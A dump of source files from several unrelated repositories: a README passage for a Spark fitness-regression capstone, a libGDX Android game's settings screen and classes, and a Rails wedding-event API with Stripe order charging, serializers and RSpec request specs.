The `Regression_5th_Iteration` directory contains the finalized regression training loop within the `Regression with Model Saving.ipynb`. This notebook loads in data from the output of the final clustering notebook, reformats it into a dataframe that can be used in regression with dense vectors of features for inputs and a elapsed_time converted into a label. Parameter maps are built for each of the models for hypertuning in a dictionary. Then, a nested loop goes through each model in the hypertuning dictionary for each combination of route and performance cluster and fits a model. The model is trained with 10 folds cross-validation across the parameter map, and the CrossValidator object chooses the best model automatically. The predictions are fed back into the original dataframe, and another dictionary is created to record various regression metrics. The model is saved to a recorded path for future access (we encountered issues going from a single node to master with slaves configuration that required a HDFS, which we didn't have in place at the time the final models were created). Finally, the resulting dataframes are saved into csvs. Our final training of these models took approximately 18 hours on the full data set with our cluster configuration. This can be reduced by at least half by removing gradient-boosted trees; however, they are the best performing regressors at this point.
The notebook `Regression Results Analysis.ipynb` takes the dataframes created from training the models and creates several new fields for further evaluation of the models, which are saved in a new csv for quick access. There are also some bokeh plots, which were used for publication.
The notebook `Stacking Playground.ipynb` was originally not going to be included; however, stacking did a good job of improving our model overall, so it was included. This follows a similar format to `Regression with Model Saving.ipynb`. The bokeh plot at the end of this notebook can freeze up a notebook due to the extremely large number of datapoints, so you should keep it hidden or delete it and visualize it with another tool.
The notebook `Pat_Prediction.ipynb` employs the models from the cluster that the test data for our poster was labelled in. It creates predictions for the route and applies the stacking regression equation to make the final predictions included in the poster.
# Visualization Notes
#### Dependencies:
*Python 2.7*, *Bokeh*, *Seaborn*, *Matplotlib*
#### Summary:
The visualizations for this project were generated in two notebooks.
The first `Spider Chart Visualization of Cluster Centers` generates the spider charts used in our poster, presentation, and paper. The code was primarily sourced from: https://gist.github.com/kylerbrown/29ce940165b22b8f25f4. It reads the files:
```
route0_perf2.csv
route1_perf2.csv
route2_perf2.csv
route3_perf2.csv
route4_perf2.csv
route_clusters_6_1_2017_1.csv
```
The second notebook `Jason-Loading-Visualizing-Endomondo` generates the histograms of the database from queries directly against the database.
| 3e85cab2a77c1ee60a94de65268cc46c1f0ca81d | [
"Markdown",
"SQL",
"Python",
"Shell"
] | 16 | Python | mulroony/fitness_capstone | 1f29490a91605efd307f996f4f14a09b934e00ac | 62b1de00456879a30ece2410c4f89efdb493439c |
refs/heads/master | <repo_name>progressifff/Bulkes2<file_sep>/README.md
# Bulkes2
A new version of [Bulkes](https://github.com/vlad230596/Bulkes).
New design, new game process and new technology.
Based on libGDX.
<file_sep>/core/src/com/bulkes/game/screens/SettingsScreen.java
package com.bulkes.game.screens;
import com.badlogic.gdx.Game;
import com.badlogic.gdx.InputMultiplexer;
import com.badlogic.gdx.Screen;
import com.badlogic.gdx.scenes.scene2d.actions.Actions;
import com.badlogic.gdx.scenes.scene2d.ui.CheckBox;
import com.badlogic.gdx.scenes.scene2d.ui.Image;
import com.badlogic.gdx.scenes.scene2d.ui.ScrollPane;
import com.badlogic.gdx.scenes.scene2d.utils.ClickListener;
import com.badlogic.gdx.utils.I18NBundle;
import com.badlogic.gdx.utils.viewport.StretchViewport;
import com.bulkes.game.Settings;
import com.badlogic.gdx.Gdx;
import com.badlogic.gdx.graphics.Color;
import com.badlogic.gdx.graphics.GL20;
import com.badlogic.gdx.graphics.OrthographicCamera;
import com.badlogic.gdx.graphics.Texture;
import com.badlogic.gdx.graphics.g2d.BitmapFont;
import com.badlogic.gdx.graphics.g2d.Sprite;
import com.badlogic.gdx.graphics.g2d.freetype.FreeTypeFontGenerator;
import com.badlogic.gdx.scenes.scene2d.InputEvent;
import com.badlogic.gdx.scenes.scene2d.InputListener;
import com.badlogic.gdx.scenes.scene2d.Stage;
import com.badlogic.gdx.scenes.scene2d.ui.ImageButton;
import com.badlogic.gdx.scenes.scene2d.ui.Label;
import com.badlogic.gdx.scenes.scene2d.ui.Skin;
import com.badlogic.gdx.scenes.scene2d.ui.Table;
import com.badlogic.gdx.scenes.scene2d.utils.SpriteDrawable;
import static com.badlogic.gdx.scenes.scene2d.actions.Actions.parallel;
import static com.badlogic.gdx.scenes.scene2d.actions.Actions.sequence;
/**
* Created by Igor on 14.10.2016.
*/
public class SettingsScreen extends AbstractScreen {
private OrthographicCamera settingsCamera;
private float ortoWidth;
private float ortoHeight;
private float screenRatio;
private float rowWidth;
private Stage stage;
private Table content;
private SpriteDrawable rowBG;
private CheckBox.CheckBoxStyle checkBoxStyle;
private BitmapFont labelFont;
private Label.LabelStyle labelStyle;
private BitmapFont headerFont;
private Label.LabelStyle headerStyle;
private I18NBundle bundle;
public SettingsScreen(Game game, AbstractScreen previousScreen){
super(game, previousScreen);
settingsCamera = new OrthographicCamera();
ortoHeight = Settings.defaultHeight;
float screenHeght = Gdx.graphics.getHeight();
float screenWidth = Gdx.graphics.getWidth();
screenRatio = screenWidth/screenHeght;
ortoWidth = ortoHeight * screenRatio;
settingsCamera = new OrthographicCamera(ortoWidth, ortoHeight);
settingsCamera.setToOrtho(true);
settingsCamera.update();
rowWidth = ortoWidth - 2 * Settings.rowPad;
}
private void rebuildStage(){
float yContentOffset = Settings.headerHeight;
float xContentOffset = Settings.rowPad;
headerFont = generateFont(Settings.fontLabelPath, Settings.fontHeaderSize, Settings.fontHeaderColor);
headerStyle = new Label.LabelStyle(headerFont, Settings.fontHeaderColor);
labelFont = generateFont(Settings.fontLabelPath, Settings.fontLabelSize, Settings.fontLabelColor);
labelStyle = new Label.LabelStyle(labelFont, Settings.fontLabelColor);
bundle = I18NBundle.createBundle(Gdx.files.internal("lang"), java.util.Locale.getDefault());
checkBoxStyle = new CheckBox.CheckBoxStyle();
Sprite checkboxOnSprt = new Sprite(new Texture(Gdx.files.internal("images/toggleOn.png")));
Sprite checkboxOffSprt = new Sprite(new Texture(Gdx.files.internal("images/toggleOff.png")));
checkboxOnSprt.setSize(Settings.toggleBtnImgWH, Settings.toggleBtnImgWH);
checkboxOffSprt.setSize(Settings.toggleBtnImgWH, Settings.toggleBtnImgWH);
checkBoxStyle.checkboxOn = new SpriteDrawable(checkboxOnSprt);
checkBoxStyle.checkboxOff = new SpriteDrawable(checkboxOffSprt);
checkBoxStyle.font = labelFont;
checkBoxStyle.fontColor = Color.BLACK;
rowBG = new SpriteDrawable(new Sprite(new Texture(Gdx.files.internal("images/rowBG.png"))));
stage.clear();
content = new Table();
stage.addActor(content);
content.setFillParent(true);
content.top();
content.setSize(ortoWidth, ortoHeight);
Table header = buildHeader();
content.addActor(header);
Table separator = buildSeparator();
content.addActor(separator);
separator.setPosition(xContentOffset, yContentOffset);
yContentOffset += Settings.rowPad+Settings.separatorHeight;
Table colorPrRow = buildColorPrRow();
content.addActor(colorPrRow);
colorPrRow.setPosition(xContentOffset, yContentOffset);
yContentOffset += Settings.contentRowHeight+Settings.rowPad;
Table isBlackBGRow = buildIsBlackBGRaw();
content.addActor(isBlackBGRow);
isBlackBGRow.setPosition(xContentOffset, yContentOffset);
yContentOffset += Settings.contentRowHeight+Settings.rowPad;
Table soundOnRaw = buildSoundOnRaw();
content.addActor(soundOnRaw);
soundOnRaw.setPosition(xContentOffset, yContentOffset);
// content.debug();
stage.addActor(content);
stage.addAction(sequence(Actions.moveTo(0,-stage.getHeight()),Actions.moveTo(0,0,.5f)));
}
private Table buildHeader(){
Table header = new Table();
ImageButton settingsCloseBtn = new ImageButton(new SpriteDrawable(new Sprite(new Texture(Gdx.files.internal("images/closeBtnUp.png")))),
new SpriteDrawable(new Sprite(new Texture(Gdx.files.internal("images/closeBtnDown.png")))));
final SettingsScreen scr = this;
settingsCloseBtn.addListener( new ClickListener() {
@Override
public void clicked(InputEvent event, float x, float y) {
Gdx.app.log("CloseBtn"," CloseBtn clicked!");
// goToPreviousScreen();
};
});
header.top();
header.setWidth(content.getWidth());
//Gdx.app.log("Height", "Height = "+String.valueOf(Value.percentHeight(0.2f,verticalGroup).get(null)));
header.setHeight(Settings.headerHeight);
header.add().width(Settings.headerBtnWH).expandY();
header.add(new Label(bundle.get("settingsHeader"), headerStyle)).expand();
header.add(settingsCloseBtn).width(Settings.headerBtnWH).height(Settings.headerBtnWH).padRight(Settings.headerBtnPad);//.height(headerHeight);
header.debug();
return header;
}
private Table buildSeparator(){
Table separator = new Table();
separator.top();
separator.setWidth(rowWidth);
separator.setHeight(Settings.separatorHeight);
SpriteDrawable separatorImg = new SpriteDrawable(new Sprite(new Texture(Gdx.files.internal("images/separator.png"))));
separator.setBackground(separatorImg);
//header.debug();
return separator;
}
private Table buildColorPrRow(){
//Test
float playerTextureWH = 80f;
float scrollPaneWidth = 160f;
Table scrollContent = new Table();
scrollContent.setHeight(playerTextureWH);
scrollContent.setWidth(playerTextureWH*6);
for(int i = 0;i<7;i++){
//Image thornTexture =
// thornTexture.setSize(64f,64f);
if(i == 0||i==6)
{
scrollContent.add().width(playerTextureWH/2).height(playerTextureWH);
}
else {
scrollContent.add(new Image(new Texture(Gdx.files.internal("images/thorn.png")))).width(playerTextureWH).height(playerTextureWH);
}
}
ScrollPane scrollPane = new ScrollPane(scrollContent);
scrollPane.setSmoothScrolling(true);
scrollPane.setScrollingDisabled(false,true);
Gdx.app.log("WT","WT "+String.valueOf(scrollContent.getWidth()));
scrollPane.scrollTo(220f, 0, scrollContent.getWidth(), scrollContent.getHeight());
// scrollPane.setScrollX(220f);
// scrollPane.updateVisualScroll();
//end Test
Table row = new Table();
row.top();
row.setWidth(rowWidth);
row.setHeight(Settings.contentRowHeight);
row.setBackground(rowBG);
Label rowText = new Label("Bulk color", labelStyle);
row.add(rowText).expand().left().padLeft(Settings.rowTextPad);
row.add(scrollPane).width(scrollPaneWidth).padRight(30f);//test scrollPane
row.debug();
return row;
}
private Table buildIsBlackBGRaw(){
Table row = new Table();
row.top();
final CheckBox gameBgCh = new CheckBox("", checkBoxStyle);
gameBgCh.addListener(new InputListener() {
@Override
public boolean touchDown(InputEvent event, float x, float y, int pointer, int button) {
if(!gameBgCh.isChecked()) {
Gdx.app.log("gameBgCh", " gameBgCh checked!");
}
else{
Gdx.app.log("gameBgCh", " gameBgCh unchecked!");
}
return true;
}
});
row.setWidth(rowWidth);
row.setHeight(Settings.contentRowHeight);
row.setBackground(rowBG);
row.add(new Label("Black background", labelStyle)).expand().left().padLeft(Settings.rowTextPad);
row.add(gameBgCh).width(Settings.checkBoxWidth).padRight(Settings.checkBoxPad);
// row.debug();
return row;
}
private Table buildSoundOnRaw(){
Table row = new Table();
row.top();
final CheckBox soundOnCh = new CheckBox("", checkBoxStyle);
soundOnCh.addListener(new InputListener() {
@Override
public boolean touchDown(InputEvent event, float x, float y, int pointer, int button) {
if(!soundOnCh.isChecked()) {
Gdx.app.log("soundOnCh", " soundOnCh checked!");
}
else{
Gdx.app.log("soundOnCh", " gameBgCh unchecked!");
}
return true;
}
});
row.setWidth(rowWidth);
row.setHeight(Settings.contentRowHeight);
row.setBackground(rowBG);
row.add(new Label("Game sound on", labelStyle)).expand().left().padLeft(Settings.rowTextPad);
row.add(soundOnCh).width(Settings.checkBoxWidth).padRight(Settings.checkBoxPad);
//row.debug();
return row;
}
@Override
public void show() {
Gdx.app.log("SHOW", "SHOW");
stage = new Stage(new StretchViewport(ortoWidth, ortoHeight,settingsCamera));
Gdx.input.setInputProcessor(new InputMultiplexer(stage, Gdx.input.getInputProcessor()));
//Gdx.input.setInputProcessor(stage);
rebuildStage();
}
@Override
public boolean goToPreviousScreen() {
Gdx.app.log("Setting Screen", "go to");
return super.goToPreviousScreen();
}
@Override
public void render(float delta) {
Gdx.gl.glClearColor(1, 1, 1, 1);
Gdx.gl.glClear(GL20.GL_COLOR_BUFFER_BIT);
settingsCamera.update();
stage.act(Math.min(delta, 1 / 30f));
stage.draw();
}
@Override
public void resize(int width, int height) {
// stage.getViewport().update((int)ortoWidth, (int)ortoHeight, true);
}
@Override
public void pause() {
}
@Override
public void resume() {
}
@Override
public void hide() {
}
@Override
public void dispose() {
stage.dispose();
}
private BitmapFont generateFont(String path, int size, Color color)
{
FreeTypeFontGenerator generator;
FreeTypeFontGenerator.FreeTypeFontParameter parameter;
String FONT_CHARS = "абвгдеёжзийклмнопрстуфхцчшщъыьэюяabcdefghijklmnopqrstuvwxyzАБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789][_!$%#@|\\/?-+=()*&.;:,{}\"´`'<>";
BitmapFont font;
generator = new FreeTypeFontGenerator(Gdx.files.internal(path));
// generator = new FreeTypeFontGenerator(new FileHandle(path));
parameter = new FreeTypeFontGenerator.FreeTypeFontParameter();
parameter.characters = FONT_CHARS;
parameter.size = size;
parameter.flip = true;
parameter.color = color;
font = generator.generateFont(parameter);
generator.dispose();
return font;
}
}
<file_sep>/core/src/com/bulkes/game/model/Player.java
package com.bulkes.game.model;
import com.badlogic.gdx.graphics.g2d.Sprite;
import com.badlogic.gdx.graphics.g3d.shaders.BaseShader;
import com.bulkes.game.Settings;
import com.bulkes.game.Size;
import javafx.geometry.Point2D;
/**
* Created by Igor on 26.10.2016.
*/
public class Player extends DrawablePrimitive {
int amountOfLifes;
public Player(Size baseSize, Sprite primitive, Point2D point) {
super(baseSize, primitive, point);
amountOfLifes = Settings.startAmountOfLife;
}
public void addLife(){
amountOfLifes++;
}
public boolean decLife(){
if(amountOfLifes == 1)
return false;
amountOfLifes--;
return true;
}
}
<file_sep>/core/src/com/bulkes/game/BulkGame.java
package com.bulkes.game;
import com.badlogic.gdx.ApplicationAdapter;
import com.badlogic.gdx.Game;
import com.badlogic.gdx.Gdx;
import com.badlogic.gdx.Input;
import com.badlogic.gdx.InputProcessor;
import com.badlogic.gdx.graphics.Color;
import com.badlogic.gdx.graphics.GL20;
import com.badlogic.gdx.graphics.OrthographicCamera;
import com.badlogic.gdx.graphics.Texture;
import com.badlogic.gdx.graphics.g2d.Sprite;
import com.badlogic.gdx.graphics.g2d.SpriteBatch;
import com.badlogic.gdx.graphics.glutils.ShapeRenderer;
import com.badlogic.gdx.math.Circle;
import com.badlogic.gdx.math.Vector3;
import com.badlogic.gdx.utils.viewport.ExtendViewport;
import com.bulkes.game.screens.GameScreen;
import com.bulkes.game.screens.MenuScreen;
import com.bulkes.game.screens.SettingsScreen;
import com.sun.javafx.scene.paint.GradientUtils;
import static java.awt.SystemColor.window;
public class BulkGame extends Game {
@Override
public void create () {
//Gdx.app.log("BulkGame","@Create");
//setScreen(new GameScreen());
MenuScreen menu = new MenuScreen(this);
setScreen(menu);
//setScreen(new MenuScreen());
}
}
<file_sep>/android/assets/lang.properties
settingsBlackBackgroud=Use black background?
settingsHeader=Settings
settingsSoundFlag=Enable sound?
settingsUserColor=Choose color:<file_sep>/android/assets/lang_ru.properties
settingsBlackBackgroud=Использовать тёмный фон?
settingsHeader=Настройки
settingsSoundFlag=Включить звук?
settingsUserColor=Выберите цвет: | 4beb92b5ee32ea295070ccc750181c921418f7e0 | [
"Markdown",
"Java",
"INI"
] | 6 | Markdown | progressifff/Bulkes2 | 2be9fe41e7a272c3dc9c6025a80b4c6bf5a94320 | f59d96051e3785f60ec0555241a58263f5be655d |
refs/heads/master | <file_sep>class AddPriceToAccommodations < ActiveRecord::Migration
def change
add_monetize :accommodations, :price
end
end
<file_sep>require 'rails_helper'
RSpec.describe OrderSerializer, type: :serializer do
subject(:order) do
FactoryGirl.create(:order, :with_stripe_token, :with_order_items)
end
let(:order_items_relationship_data) do
order.order_items.map do |order_item|
{ id: order_item.id.to_s, type: 'order_items' }
end
end
let(:actual_json) { ActiveModel::SerializableResource.new(order).to_json }
let(:expected_json) do
{
data: {
id: order.id.to_s,
type: 'orders',
relationships: {
invite: {
data: {
id: order.invite.id.to_s,
type: 'invites'
}
},
order_items: {
data: order_items_relationship_data
}
}
}
}.to_json
end
it { expect(actual_json).to eql(expected_json) }
end
<file_sep>Figaro.require_keys(
'secret_key_base', 'stripe_secret_key', 'stripe_publishable_key'
)
<file_sep>class BasketItem < ActiveRecord::Base
belongs_to :basket
belongs_to :product, polymorphic: true
validates :basket, :product, presence: true
validates :product_id, uniqueness: {
scope: [:basket, :product_type, :product_id],
message: 'You already have a BasketItem for this Product in your Basket'
}
validates :quantity, numericality: { greater_than_or_equal_to: 0 }
end
<file_sep>require 'rails_helper'
require 'support/shared_contexts/setup_stripe_mock'
RSpec.describe ChargeOrder, type: :service do
include_context 'setup_stripe_mock'
subject(:charge_order) do
described_class.new(order: order)
end
describe '#call' do
subject(:call) { charge_order.call }
let(:order) do
FactoryGirl.create(:order, :with_stripe_token, :with_order_items)
end
before(:example) do
expect(Stripe::Charge).to(
receive(:create).and_return(double(id: 'charge_id'))
)
call
end
it 'creates an OrderCharge' do
expect(order.order_charges.first).to(
have_attributes(order: order, stripe_charge_id: 'charge_id')
)
end
end
end
<file_sep>class InviteSerializer < ActiveModel::Serializer
attributes :id, :invite_code, :email_address, :name, :cabaret_info
belongs_to :current_basket
has_many :guests
has_many :orders
def attributes(*args)
super.slice(*invite_policy.serialized_attributes)
end
def current_basket
BasketQuery.new.current_basket(invite: object)
end
private
def invite_policy
InvitePolicy.new(current_invite, object)
end
end
<file_sep>require 'rails_helper'
require 'support/shared_contexts/setup_doorkeeper_access_token'
require 'support/shared_examples/it_is_secured_by_doorkeeper'
RSpec.describe 'Show BasketItem', type: :request do
subject(:show_basket_item) do
get api_basket_item_url(id: basket_item_id), params
end
let(:params) { {} }
context 'when authorized' do
include_context 'setup_doorkeeper_access_token'
context 'when BasketItem exist' do
let!(:basket_item) { FactoryGirl.create(:basket_item) }
let(:basket_item_id) { basket_item.id }
let(:basket_item_json) do
ActiveModel::SerializableResource.new(basket_item).to_json
end
before(:example) { show_basket_item }
it { expect(response.body).to eql(basket_item_json) }
it { expect(response).to have_http_status(:ok) }
end
context 'when BasketItem not found' do
let(:basket_item_id) { 1 }
let(:basket_item_json) do
{
errors: [
{
title: I18n.translate('error_codes.show_not_found.message'),
status: 'not_found'
}
]
}.to_json
end
before(:example) { show_basket_item }
it { expect(response.body).to eql(basket_item_json) }
it { expect(response).to have_http_status(:not_found) }
end
end
it_behaves_like 'it is secured by doorkeeper' do
let!(:basket_item) { FactoryGirl.create(:basket_item) }
let(:basket_item_id) { basket_item.id }
let(:request_method) { :get }
let(:request_url) { api_basket_item_url(id: basket_item_id) }
end
end
<file_sep>require 'rails_helper'
RSpec.describe OrderItemSerializer, type: :serializer do
subject(:order_item) do
FactoryGirl.build_stubbed(:order_item)
end
let(:accommodation_product) { order_item.product }
let(:actual_json) do
ActiveModel::SerializableResource.new(order_item).to_json
end
let(:expected_json) do
{
data: {
id: order_item.id.to_s,
type: 'order_items',
attributes: {
quantity: order_item.quantity,
sale_price_pence: 10_000
},
relationships: {
order: {
data: {
id: order_item.order.id.to_s,
type: 'orders'
}
},
product: {
data: {
id: accommodation_product.id.to_s,
type: 'accommodations'
}
}
}
}
}.to_json
end
it { expect(actual_json).to eql(expected_json) }
end
<file_sep>FactoryGirl.define do
factory :basket_item do
basket
product { FactoryGirl.create(:accommodation) }
quantity 1
end
end
<file_sep>class InvitePolicy < ApplicationPolicy
def serialized_attributes
keys = []
if current_invite?
keys += [:cabaret_info, :email_address, :invite_code, :name]
end
keys.sort_by(&:downcase)
end
private
def current_invite?
record == invite
end
end
<file_sep>module Api
class BasketsController < ApplicationController
include Marmite::Controller
include Concerns::AuthorizeInvite
include Concerns::JsonApiParams
show_endpoint
private
def show_includes
:basket_items
end
def show_params
params.permit(:id)
end
end
end
<file_sep>require File.expand_path('../boot', __FILE__)
require 'rails'
# Pick the frameworks you want:
require 'active_model/railtie'
require 'active_job/railtie'
require 'active_record/railtie'
require 'action_controller/railtie'
require 'action_mailer/railtie'
require 'action_view/railtie'
# require "sprockets/railtie"
# require "rails/test_unit/railtie"
# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(*Rails.groups)
module WedfestApi
class Application < Rails::Application
# Settings in config/environments/* take precedence over those specified
# here. Application configuration should go into files in
# config/initializers -- all .rb files in that directory are automatically
# loaded.
# Set Time.zone default to the specified zone and make Active Record
# auto-convert to this zone. Run "rake -D time" for a list of tasks for
# finding time zone names. Default is UTC.
# config.time_zone = 'Central Time (US & Canada)'
# Do not swallow errors in after_commit/after_rollback callbacks.
config.active_record.raise_in_transactional_callbacks = true
config.generators do |g|
g.controller_specs false
end
config.middleware.insert_before 0, 'Rack::Cors' do
allow do
origins '*'
resource(
'*', headers: :any, methods: %i(get put post patch delete options)
)
end
end
end
end
<file_sep>FactoryGirl.define do
factory :basket do
invite
transient do
basket_item_count 1
end
trait(:with_basket_items) do
after(:create) do |basket, evaluator|
basket_items = create_list(
:basket_item, evaluator.basket_item_count, basket: basket
)
basket.basket_items << basket_items
end
end
end
end
<file_sep>require 'rails_helper'
RSpec.describe 'Update Guest', type: :request do
subject(:update_guest) { patch api_guest_url(id: guest_id), params }
let(:update_attributes) do
FactoryGirl.attributes_for(:guest, :weekend_attendance, :vegetarian)
.slice(*%i(attendance diet email_address))
end
let(:params) do
{
data: {
id: guest_id.to_s,
type: 'guests',
attributes: update_attributes
}
}
end
context 'when Guest exist' do
let!(:guest) { FactoryGirl.create(:guest) }
let(:guest_id) { guest.id }
let(:updated_guest) { guest.reload }
let(:guest_json) do
ActiveModel::SerializableResource.new(updated_guest).to_json
end
before(:example) { update_guest }
context 'when params pass validation' do
it { expect(response.body).to eql(guest_json) }
it { expect(response).to have_http_status(:ok) }
it { expect(updated_guest).to have_attributes(update_attributes) }
end
context 'when params fail validation' do
let(:guest_json) do
{
errors: [
{
title: I18n.translate(
'error_codes.update_validation_failed.message'
),
status: 'conflict',
details: {
attendance: ['is not included in the list'],
diet: ['is not included in the list']
}
}
]
}.to_json
end
let(:update_attributes) do
{ attendance: 'invalid', diet: 'invalid' }
end
it { expect(response.body).to eql(guest_json) }
it { expect(response).to have_http_status(:conflict) }
it { expect(updated_guest).to_not have_attributes(update_attributes) }
end
end
context 'when Guest not found' do
let(:guest_id) { 1 }
let(:guest_json) do
{
errors: [
{
title: I18n.translate('error_codes.update_not_found.message'),
status: 'not_found'
}
]
}.to_json
end
before(:example) { update_guest }
it { expect(response.body).to eql(guest_json) }
it { expect(response).to have_http_status(:not_found) }
end
end
<file_sep>module Concerns
module CurrentInvite
extend ActiveSupport::Concern
included do
def current_invite
@current_invite ||= begin
return unless doorkeeper_token
Invite.find(doorkeeper_token.resource_owner_id)
end
end
helper_method :current_invite
alias_method :pundit_user, :current_invite
end
end
end
<file_sep>class ChargeOrder
def initialize(order:)
@order = order
end
def call
charge = Stripe::Charge.create(
amount: order.total_price_pence,
source: order.stripe_token,
currency: 'gbp'
)
order.order_charges.create!(stripe_charge_id: charge.id)
end
private
attr_reader :order
end
<file_sep>class OrderCharge < ActiveRecord::Base
belongs_to :order
validates :order, :stripe_charge_id, presence: true
end
<file_sep>class Order < ActiveRecord::Base
belongs_to :basket
belongs_to :invite
has_many :order_charges
has_many :order_items
has_many :order_transitions, autosave: false
validates :basket, :invite, presence: true
monetize :total_price_pence, numericality: { greater_than_or_equal_to: 0 }
def state_machine
@state_machine ||= OrderStateMachine.new(
self, transition_class: OrderTransition
)
end
end
<file_sep>require 'rails_helper'
require 'support/shoulda_matchers'
RSpec.describe Invite, type: :model do
describe 'validations' do
subject(:invite) { FactoryGirl.build(:invite) }
it { is_expected.to allow_value(nil).for(:email_address) }
it { is_expected.to allow_value('<EMAIL>').for(:email_address) }
it do
is_expected.to_not allow_value('invalidexample.com').for(:email_address)
end
it { is_expected.to validate_presence_of(:invite_code) }
it { is_expected.to validate_uniqueness_of(:invite_code).case_insensitive }
it { is_expected.to validate_presence_of(:name) }
it { is_expected.to have_many(:guests) }
it { is_expected.to have_many(:baskets) }
end
end
<file_sep>class ApplicationPolicy
attr_reader :invite, :record
def initialize(invite, record)
@invite = invite
@record = record
end
end
<file_sep>class RenameTotalToTotalPriceForOrders < ActiveRecord::Migration
def change
remove_column :orders, :total
add_monetize :orders, :total_price
end
end
<file_sep>require 'rails_helper'
RSpec.describe InvitePolicy, type: :policy do
subject(:invite_policy) { described_class.new(current_invite, invite) }
let(:invite) { FactoryGirl.build_stubbed(:invite) }
describe '#serialized_attributes' do
subject(:serialized_attributes) { invite_policy.serialized_attributes }
context 'when the Invite is the current_invite' do
let(:current_invite) { invite }
it do
expect(serialized_attributes).to(
eql([:cabaret_info, :email_address, :invite_code, :name])
)
end
end
context 'when the Invite is not the current_invite' do
let(:current_invite) { FactoryGirl.build_stubbed(:invite) }
it do
expect(serialized_attributes).to eql([])
end
end
end
end
<file_sep>require 'rails_helper'
RSpec.describe Basket, type: :model do
it { is_expected.to belong_to(:invite) }
it { is_expected.to have_many(:basket_items) }
it { is_expected.to validate_presence_of(:invite) }
end
<file_sep>class CreateBasketItem < Marmite::Services::CreateEndpoint
before_validation :set_basket
private
alias basket_item resource
def set_basket
basket_item.basket = controller.current_basket
end
end
<file_sep>module Api
class GuestsController < ApplicationController
include Marmite::Controller
include Concerns::JsonApiParams
index_endpoint
show_endpoint
update_endpoint
private
def index_params
{}
end
def show_params
params.permit(:id)
end
def update_params
attribute_params([:attendance, :diet, :email_address])
end
end
end
<file_sep>require 'rails_helper'
RSpec.describe BasketSerializer, type: :serializer do
subject(:basket) { FactoryGirl.create(:basket, :with_basket_items) }
let(:basket_items_relationship_data) do
basket.basket_items.map do |basket_item|
{ id: basket_item.id.to_s, type: 'basket_items' }
end
end
let(:actual_json) { ActiveModel::SerializableResource.new(basket).to_json }
let(:expected_json) do
{
data: {
id: basket.id.to_s,
type: 'baskets',
relationships: {
invite: {
data: {
id: basket.invite.id.to_s,
type: 'invites'
}
},
basket_items: {
data: basket_items_relationship_data
}
}
}
}.to_json
end
it { expect(actual_json).to eql(expected_json) }
end
<file_sep>class AddBasketToBasketItems < ActiveRecord::Migration
def change
add_reference(
:basket_items, :basket, index: true, foreign_key: true, null: false
)
end
end
<file_sep>class AddTotalPriceForOrderItems < ActiveRecord::Migration
def change
add_monetize :order_items, :total_price
end
end
<file_sep>class AddInviteToOrders < ActiveRecord::Migration
def change
add_reference :orders, :invite, index: true, foreign_key: true
end
end
<file_sep>require 'rails_helper'
require 'support/shared_contexts/setup_stripe_mock'
RSpec.describe CreateOrder, type: :service do
include_context 'setup_stripe_mock'
subject(:create_order) do
described_class.new(attributes: attributes, controller: controller)
end
let!(:basket) { FactoryGirl.create(:basket, :with_basket_items) }
let(:attributes) { { basket_id: basket.id } }
let(:controller) { spy('Api::OrdersController') }
before(:example) do
allow(controller).to(
receive_message_chain(:class, :name).and_return('Api::OrdersController')
)
end
describe '#call' do
subject(:call) { create_order.call }
let(:created_order) { Order.find_by(attributes) }
before(:example) { call }
it 'sets the Invite on the Order to that of the Basket' do
expect(created_order.invite).to eql(basket.invite)
end
it 'sets the total_price for the Order' do
expect(created_order.total_price_pence).to eql(0)
end
it 'creates OrderItems for each BasketItem' do
basket.basket_items.each do |basket_item|
product = basket_item.product
total_price_pence = basket_item.quantity * product.price * 100
order_item = created_order
.order_items
.find_by(
product: product,
sale_price_pence: product.price_pence,
quantity: basket_item.quantity,
total_price_pence: total_price_pence
)
expect(order_item).to be_present
end
end
it 'transitions the Basket to purchased' do
expect(basket.state_machine.current_state).to eql('purchased')
end
context 'when the attributes include a stripe_token' do
let(:attributes) { { basket_id: basket.id, stripe_token: 'token' } }
it 'transitions the Order to payment_received' do
expect(created_order.state_machine.current_state).to(
eql('payment_received')
)
end
end
end
end
<file_sep>require 'stripe_mock'
RSpec.shared_context 'setup_stripe_mock' do
before(:example) do
allow(Stripe::Charge).to(
receive(:create).and_return(double(id: 'charge_id'))
)
end
end
<file_sep>MoneyRails.configure do |config|
config.default_currency = :gbp
config.include_validations = true
config.amount_column = {
prefix: '',
postfix: '_pence',
column_name: nil,
type: :integer,
present: true,
null: false,
default: 0
}
config.currency_column = { present: false }
end
<file_sep>require 'rails_helper'
require 'support/shared_contexts/setup_doorkeeper_access_token'
require 'support/shared_examples/it_is_secured_by_doorkeeper'
RSpec.describe 'Update BasketItem', type: :request do
subject(:update_basket_item) do
patch api_basket_item_url(id: basket_item_id), params
end
let(:update_attributes) do
FactoryGirl.attributes_for(:basket_item).slice(*%i(quantity))
end
let(:params) do
{
data: {
id: basket_item_id.to_s,
type: 'basket_items',
attributes: update_attributes
}
}
end
context 'when authorized' do
include_context 'setup_doorkeeper_access_token'
context 'when BasketItem exist' do
let!(:basket_item) { FactoryGirl.create(:basket_item) }
let(:basket_item_id) { basket_item.id }
let(:updated_basket_item) { basket_item.reload }
let(:basket_item_json) do
ActiveModel::SerializableResource.new(updated_basket_item).to_json
end
before(:example) { update_basket_item }
context 'when params pass validation' do
it { expect(response.body).to eql(basket_item_json) }
it { expect(response).to have_http_status(:ok) }
it { expect(updated_basket_item).to have_attributes(update_attributes) }
end
context 'when params fail validation' do
let(:basket_item_json) do
{
errors: [
{
title: I18n.translate(
'error_codes.update_validation_failed.message'
),
status: 'conflict',
details: {
quantity: ['is not a number']
}
}
]
}.to_json
end
let(:update_attributes) do
{ quantity: 'invalid' }
end
it { expect(response.body).to eql(basket_item_json) }
it { expect(response).to have_http_status(:conflict) }
it do
expect(updated_basket_item).to_not have_attributes(update_attributes)
end
end
end
context 'when BasketItem not found' do
let(:basket_item_id) { 1 }
let(:basket_item_json) do
{
errors: [
{
title: I18n.translate('error_codes.update_not_found.message'),
status: 'not_found'
}
]
}.to_json
end
before(:example) { update_basket_item }
it { expect(response.body).to eql(basket_item_json) }
it { expect(response).to have_http_status(:not_found) }
end
end
it_behaves_like 'it is secured by doorkeeper' do
let!(:basket_item) { FactoryGirl.create(:basket_item) }
let(:basket_item_id) { basket_item.id }
let(:request_method) { :patch }
let(:request_url) { api_basket_item_url(id: basket_item_id) }
let(:request_params) { params }
end
end
